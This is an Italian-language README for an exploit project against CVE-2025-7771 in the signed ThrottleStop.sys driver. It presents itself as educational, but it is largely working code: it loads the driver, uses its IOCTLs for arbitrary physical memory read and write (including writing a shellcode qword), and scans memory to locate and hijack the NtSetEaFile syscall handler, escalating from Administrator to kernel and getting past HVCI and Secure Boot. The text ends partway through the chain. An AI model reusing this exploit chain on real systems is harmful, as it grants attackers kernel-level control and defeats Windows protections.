
Elevazione dei privilegi nel sistema da driver non firmato usando la vulnerabilità ThrottleStop
CVE-2025-7771 — Lettura/Scrittura Arbitraria di Memoria Fisica tramite IOCTL di ThrottleStop.sys
Questo progetto è pubblicato esclusivamente a scopo educativo e di ricerca. L'obiettivo è dimostrare come un driver kernel firmato e fidato possa essere weaponizzato per l'escalation di privilegi locale (LPE) da Amministratore a SYSTEM/Kernel, bypassando efficacemente le moderne funzionalità di sicurezza di Windows, tra cui HVCI (Hypervisor-Enforced Code Integrity) e Secure Boot.
Non utilizzare questo strumento per scopi malevoli. L'autore non è responsabile per eventuali usi impropri.
| Campo | Dettagli |
|---|---|
| CVE | CVE-2025-7771 |
| Driver | ThrottleStop.sys (distribuito con ThrottleStop) |
| Vendor | TechPowerUp / Kevin Glynn |
| Tipo | Lettura/Scrittura Arbitraria di Memoria Fisica |
| Impatto | Escalation di Privilegi Locale (Admin → Kernel) |
| CVSS | 8.2 (Alto) |
| Firma | Firmato Microsoft tramite WHQL / Attestation |
| Bypass HVCI | ✅ Sì — il driver è firmato legittimamente, consentito dalla policy CI |
ThrottleStop.sys con IOCTL di mappatura della memoria fisicaIl driver kernel ThrottleStop.sys espone un dispositivo (\\.\ThrottleStop) accessibile a qualsiasi Amministratore locale. Implementa due IOCTL che forniscono accesso illimitato alla memoria fisica:
#define IOCTL_TS_READ_PHYS 0x80006498 // Legge un indirizzo fisico arbitrario
#define IOCTL_TS_WRITE_PHYS 0x8000649C // Scrive su un indirizzo fisico arbitrario
0x80006498)Input: ULONG64 PhysicalAddress (8 byte)
Output: Buffer dati (1–8 byte per chiamata, determinato da OutputBufferLength)
Il driver chiama MmMapIoSpace() per mappare l'indirizzo fisico richiesto nello spazio virtuale del kernel, copia i dati nel buffer di output, quindi chiama MmUnmapIoSpace(). Nessuna validazione viene eseguita sull'indirizzo fisico — qualsiasi indirizzo nello spazio degli indirizzi fisici può essere letto.
0x8000649C)Input: ULONG64 PhysicalAddress (8 byte) + Dati (1–8 byte)
InputBufferLength = 8 + DataSize
Output: Nessuno
Stesso meccanismo della lettura, ma scrive i dati forniti dall'utente all'indirizzo fisico mappato. Ancora, nessuna validazione dell'indirizzo o dell'intervallo.
Il driver è stato progettato per consentire a ThrottleStop (un'utilità di undervolting/throttling della CPU) di leggere/scrivere direttamente MSR e registri hardware. Gli IOCTL di memoria fisica sono stati probabilmente aggiunti per l'accesso MMIO allo spazio di configurazione PCI o ai sensori termici della CPU, ma l'implementazione esegue zero controlli di confine:
GENERIC_READ | GENERIC_WRITE all'handleQuesto trasforma un driver di utilità hardware legittimo in una primitiva completa di lettura/scrittura a livello kernel.
La catena di sfruttamento sale da un account Amministratore locale a esecuzione di codice kernel arbitrario, ottenendo di fatto il controllo ring-0 a livello SYSTEM.
Il mapper inserisce ThrottleStop.sys in %TEMP%, crea una voce di registro del servizio in HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop e lo carica tramite NtLoadDriver():
// Abilita SeLoadDriverPrivilege per il processo corrente
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// Crea voce di servizio che punta al file .sys depositato
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// Carica tramite NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);
// Apre l'handle del dispositivo
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
Nota: Poiché ThrottleStop.sys è firmato legittimamente, viene caricato anche con HVCI/Secure Boot abilitati. La policy CI di Windows si fida del certificato.
Con l'handle del dispositivo, l'exploit può leggere/scrivere qualsiasi indirizzo fisico sul sistema:
// Legge 8 byte dall'indirizzo fisico 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// Scrive 8 byte su un indirizzo fisico
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // indirizzo
*(ULONGLONG*)(input + 8) = shellcode_qword; // dati
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
L'exploit incapsula queste operazioni in funzioni helper che gestiscono letture/scritture a blocchi (1, 2, 4 o 8 byte per chiamata) per trasferimenti di lunghezza arbitraria.
Per eseguire funzioni kernel arbitrarie, l'exploit deve trovare l'indirizzo fisico di un gestore di syscall del kernel. Punta a NtSetEaFile (una syscall raramente monitorata):
ntoskrnl.exe in usermode tramite LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES), ottieni la RVA di NtSetEaFileRVA & 0x1FFFFFHARDWARE\RESOURCEMAP\System Resources\Physical Memory), avanza a passi di 2MB e confronta i byte:for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // controllo rapido
{
read_phys(candidate_pa, verify, 32); // verifica completa
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // trovato!
// ... valida tramite PsGetProcessSectionBaseAddress
}
}
}